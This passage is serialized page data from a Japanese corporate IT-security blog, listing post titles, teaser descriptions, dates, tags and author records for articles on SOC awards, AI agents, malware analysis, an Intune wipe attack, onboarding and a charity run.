Star選出から1年でのことです。","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[1489,1490],{"id":1505,"title":1506,"author":1507,"cta":494,"description":577,"hideInRecent":484,"layout":1038,"meta":1508,"moment":1509,"path":1513,"stem":1514,"tags":1515,"webcast":484},"content_ja/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak。OpenAI／Hugging Faceの事案が示すこと、示さないこと",[1250],{"lang":1040,"date":1509,"categories":1510,"blogtitlepic":1511,"customExcerpt":1512},"2026-07-24",[235],"head-outbreak.jpg","AIエージェントがテスト環境から脱出し、ゼロデイを見つけ、別の企業をハッキングする。映画の脚本のようですが、2026年7月に実際に起きました。冷静に位置づける時期です。少しの心理学、2人のセキュリティ専門家、そしてそれが自社の防御にとって何を意味するのかという問いとともに。","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[1516,1082,1473],"AI",{"id":1518,"title":1519,"author":1520,"cta":494,"description":1521,"hideInRecent":484,"layout":1038,"meta":1522,"moment":1523,"path":1527,"stem":1528,"tags":1529,"webcast":484},"content_ja/posts/2026-07-22-isg-cybersecurity-2026.md","LeaderそしてRising Star。ISGサイバーセキュリティ調査2026のglueckkanja",[1277],"新たに加わったクアドラントで、いきなりLeaderになりました。ISG Provider Lens®調査「Cybersecurity – Services and Solutions 2026」は、ドイツの中堅中小企業向けNext-Gen SOC/MDR Services分野でglueckkanjaをLeaderと位置づけています。Next-Gen SOC/MDR Servicesの全体市場では、ISGは当社をRising Starに選出しました。つまり、今後12か月から24か月のうちにLeaderクアドラントへ躍進するとアナリストが見込むベンダーだということです。",{"lang":1040,"date":1523,"categories":1524,"blogtitlepic":1525,"customExcerpt":1526},"2026-07-22",[1483],"head-isg-cybersecurity-2026.png","ISG Provider Lens®調査 Cybersecurity 2026は、glueckkanjaをNext-Gen SOC/MDR Services（Midmarket）クアドラントのLeaderに選出しました。Next-Gen SOC/MDR Servicesの全体市場では、当社はRising Starです。ISGは当社の平均を上回る成長、Microsoftセキュリティに関する深い専門性、そしてドイツ国内から提供する24時間365日のSOCを評価しています。","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[1489,1490,235],{"id":1531,"title":1532,"author":1533,"cta":494,"description":1534,"hideInRecent":484,"layout":1038,"meta":1535,"moment":1536,"path":1539,"stem":1540,"tags":1541,"webcast":484},"content_ja/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity：AIが実際に働くために本当に必要なもの",[1277],"ある製造業の企業が、14,000あるSKUのうちどれが実際に利益を生んでいるのかを知りたいと考えました。答えは3つのシステムの中にありますが、それらは一度もデータを1件たりともやり取りしたことがありません。少し前までは、その答えを得るのに3つの部門、2週間、そして相当な善意が必要でした。2026年初頭からは、AIがこの問いに数分で答えられます。データを走査し、関連を結び、推奨を出す。ただし、アクセスできることが前提です。",{"lang":1040,"date":1536,"categories":1537,"blogtitlepic":1538},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[1516,131],{"id":1543,"title":1544,"author":1545,"cta":494,"description":1546,"hideInRecent":484,"layout":1038,"meta":1547,"moment":1548,"path":1552,"stem":1553,"tags":1554,"webcast":484},"content_ja/posts/2026-07-01-onboarding-process.md","契約書にサインしたあと：当社のオンボーディングはこう進みます",[1368],"オンボーディングは実際どう進むのですか。応募者との会話で繰り返し受ける質問です。オンボーディングがぎくしゃくした経験を持つ人が少なくないからでしょう。だからこそ当社は、最初から安心してもらうことを大切にしています。",{"lang":1040,"date":1548,"categories":1549,"blogtitlepic":1550,"customExcerpt":1551},"2026-07-01",[1483],"Onboarding_Blogheader","契約書にサインが済み、大きな一歩は終わりました。では、ここからどうなるのでしょうか。PreBoardingからチームでの最初の1週間まで、当社のオンボーディングの舞台裏をご案内します。","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[1555,1556,1557],"Employer Branding","Onboarding","Unternehmenskultur",{"id":1559,"title":1560,"author":1561,"cta":494,"description":1562,"hideInRecent":484,"layout":1038,"meta":1563,"moment":1564,"path":1568,"stem":1569,"tags":1570,"webcast":484},"content_ja/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner：当社もその一員です",[1277],"Microsoftのパートナーエコシステムには数多くの表彰がありますが、Frontier Partner Badgeはその成り立ちにおいて他の称号と一線を画します。申請することはできず、Microsoft側の主導で、ごく限られたパートナーに授与されます。対象となるには、1つの領域で秀でるのではなく、複数の領域で同時に実力を示さなければなりません。Microsoftが確認するのは、Cloud & AI Platforms、AI Business Solutions、そしてSecurityにおける実証済みの能力です。つまり対象は、AIを既存のITへの後付けではなく、IDからエンドポイント、そして本番のAI運用までを貫くアーキテクチャの帰結として捉えている企業です。",{"lang":1040,"date":1564,"categories":1565,"blogtitlepic":1566,"customExcerpt":1567},"2026-06-26",[1483],"head-frontier-partner-badge.jpg","最近、Microsoft AI Cloud Partner Programに新たな最高位の称号としてFrontier Partner Badgeが設けられました。Microsoftがこれを授与するのは、ワークプレイスからクラウドプラットフォーム、セキュリティ、そしてAIアプリケーションそのものに至るまで、Microsoftスタック全体でAIプロジェクトを確実に届けられると実績で示した、世界でもごく限られたパートナーだけです。DACH圏でこのグループに属するのは数社にすぎず、当社はそのうちの1社です。","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[1489,1571,1516],"Microsoft Partner",{"id":1573,"title":1574,"author":1575,"cta":494,"description":1576,"hideInRecent":484,"layout":1038,"meta":1577,"moment":1578,"path":1582,"stem":1583,"tags":1584,"webcast":484},"content_ja/posts/2026-06-09-vair-run.md","チャリティのために160キロ",[1375],"日曜の朝8時30分、マイン川沿いのHolbeinsteg。おそろいのNinjaCatシャツを着た11人の同僚が、Frankfurter Rundenのスタートに並びました。雨も雷鳴も込みです。良いことのために走るという動機は、悪天候でもランニングシューズの紐を結ぶのに十分でした。",{"lang":1040,"date":1578,"categories":1579,"blogtitlepic":1580,"customExcerpt":1581},"2026-06-08",[1483],"frankfurter-runden.png","同僚11人、16周、160キロ、雷雨、そして表彰台。glueckkanjaはFrankfurter Runden 2026に参加し、走った1周ごとにVAIR e.V.へ寄付しました。同団体はオフェンバッハでインクルーシブなスポーツ・カルチャーパークを建設しています。","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[1585,1555,1586],"Top Arbeitgeber","Soziales Engagement",{"id":1588,"title":1589,"author":1590,"cta":494,"description":1591,"hideInRecent":484,"layout":1038,"meta":1592,"moment":1593,"path":1597,"stem":1598,"tags":1599,"webcast":484},"content_ja/posts/2026-04-10-incident-to-intelligence.md","未知のAMOSスティーラーの解剖：アラートから免疫獲得まで数時間",[1356],"当社のSOCでアラートが発報すると、そこから時計が動き始めます。対象となったお客様だけでなく、当社の保護下にあるすべての組織にとってです。現代の脅威環境で最も危険な瞬間はインテリジェンス・ギャップ、つまり新しいマルウェア亜種が最初に投入されてから、業界がその存在を知る日までの時間の窓です。",{"lang":1040,"date":1593,"categories":1594,"blogtitlepic":1595,"customExcerpt":1596},"2026-04-10",[235],"head-amos-stealer.png","これまで文書化されていなかったAMOSスティーラーの亜種が、macOSエンドポイントを侵害しました。既知のハッシュはなく、公開データベースにC2データもありません。当社のSOCは6層の難読化を解体し、すべての指標を抽出したうえで、業界がこの検体を目にするよりも前に、数時間以内ですべてのSOCのお客様へ保護を配布しました。","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[1600,1601,1602,1603,1604],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center",{"id":1606,"title":1607,"author":1608,"cta":494,"description":1609,"hideInRecent":484,"layout":1038,"meta":1610,"moment":1611,"path":1614,"stem":1615,"tags":494,"webcast":484},"content_ja/posts/2026-03-21-microsoft-edge-corporate-browser.md","Edgeを唯一の社内標準ブラウザーにすべき理由",[1146],"企業環境におけるブラウザーの選定は戦略的な判断です。セキュリティの水準と運用の手間を直接左右します。長らくGoogle Chromeが自然な選択肢でしたが、Microsoft Edgeは既存のスタックに直接組み込まれるブラウザーへと進化しました。特にMicrosoft 365を利用し、管理をIntuneで行っている環境ではその効果が大きくなります。",{"lang":1040,"date":1611,"blogtitlepic":1612,"customExcerpt":1613},"2026-03-21","head-microsoft-edge-default-browser.jpg","Chromeを本気で選んだ企業はほとんどありません。独自の同期ロジック、独自のアカウント管理、独自のポリシー画面を抱えたまま、ただそこにあっただけです。一方でMicrosoft Edgeは、すでに動いているインフラ、つまりEntra ID、Intune、Defenderに直接組み込まれます。本記事では、移行がどのようなものか、IntuneのポリシーでどのようにChromeをランディングページへリダイレクトするか、そして2つのブラウザーを並行運用するのをやめると何が不要になるかを紹介します。","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":1617,"title":1618,"author":1619,"cta":494,"description":1620,"hideInRecent":484,"layout":1038,"meta":1621,"moment":1622,"path":1626,"stem":1627,"tags":1628,"webcast":484},"content_ja/posts/2026-03-20-stryker-attack-intune-privilege.md","必要だったのは管理者アカウント1つだけでした",[1250],"2026年3月11日水曜日。79か国のStrykerのオフィスで従業員がPCの電源を入れると、中身は空でした。ログイン画面はロゴに置き換わっていました。社用ノートPC、社用スマートフォン、そして同社のBYODプログラムに登録されていた私物端末まで、すべてが一夜のうちに同時に消去されました。ランサムウェアもマルウェアのシグネチャも、エンドポイント検知ツールが捉えられるものは何もありませんでした。",{"lang":1040,"date":1622,"categories":1623,"blogtitlepic":1624,"customExcerpt":1625},"2026-03-20",[235],"head-stryker.jpg","2026年3月11日、Handalaは79か国の端末を消去しました。そのために必要だったのは、侵害されたIntuneの管理者アカウント1つだけです。マルウェアもエクスプロイトもなく、正規の管理ツールが所有者自身に向けられました。何が起きたのか、なぜそれが通用したのか、そして塞ぐべき2つのアーキテクチャ上の穴について説明します。","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[1629,71,1472,1473],"Red Tenant",{"id":1631,"title":1632,"author":1633,"cta":494,"description":1634,"hideInRecent":484,"layout":1038,"meta":1635,"moment":1636,"path":1640,"stem":1641,"tags":1642,"webcast":484},"content_ja/posts/2026-03-16-ai-agent-hackathon.md","6つのAgent。4週間。実際の運用へ。",[1277],"自社のIT部門は、Agentなら数分で片づく作業に毎週何時間を費やしているでしょうか。",{"lang":1040,"date":1636,"categories":1637,"blogtitlepic":1638,"customExcerpt":1639},"2026-03-16",[1483],"head-ai-agent-hackathon.jpg","6社、4週間のビルドフェーズ、6つの動作するAI Agent。これが第1回glueckkanja AI Agent Hackathonの成果です。Kiekert、Dr. Oetker、Eckes-Granini、igefa、lila logistikがCopilot StudioでAgentを構築し、それらは現在すでに本番で稼働しています。そこで何が生まれ、この形式がどのように機能するのかを紹介します。","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[1516,1643,1644,1645],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":1647,"Fritz Zurhorst":1648,"Nadine Klein":1649,"Jan Geisbauer":1650,"Carolin Kanja":1654,"Anna Ulbricht":1655,"Annette Brauns":1656,"Pascal Asch":1657,"Steffen Schwerdtfeger":1658},{"display_name":1115,"avatar":1116,"permalink":1117,"twitter":1118,"linkedin":1119,"imageOffsetTop":1120,"imageOffsetLeft":1121},{"display_name":523,"avatar":1091,"permalink":1092,"linkedin":1093,"imageOffsetTop":1094},{"display_name":524,"avatar":1110,"permalink":1111,"twitter":1112,"linkedin":1113,"imageOffsetTop":1094},{"display_name":1250,"avatar":1251,"permalink":1252,"twitter":1253,"linkedin":1253,"imageOffsetTop":1094,"socials":1651},[1652,1653],{"text":1256,"href":1257},{"text":1259,"href":1260},{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1280,"linkedin":1281},{"display_name":1368,"avatar":1369,"permalink":1370,"linkedin":1371,"imageOffsetTop":1372,"imageOffsetLeft":1373},{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1379,"imageOffsetLeft":1120},{"display_name":1356,"avatar":1357,"permalink":1358,"linkedin":1359,"imageOffsetTop":1193},{"display_name":1146,"avatar":1147,"permalink":1148,"linkedin":1149,"twitter":1150,"imageOffsetTop":1151,"imageOffsetLeft":1152},{"id":1086,"extension":1087,"meta":1660,"stem":8,"__hash__":1437},{"Fritz Zurhorst":1661,"Nadine Klein":1662},{"display_name":523,"avatar":1091,"permalink":1092,"linkedin":1093,"imageOffsetTop":1094},{"display_name":524,"avatar":1110,"permalink":1111,"twitter":1112,"linkedin":1113,"imageOffsetTop":1094},1791383938033]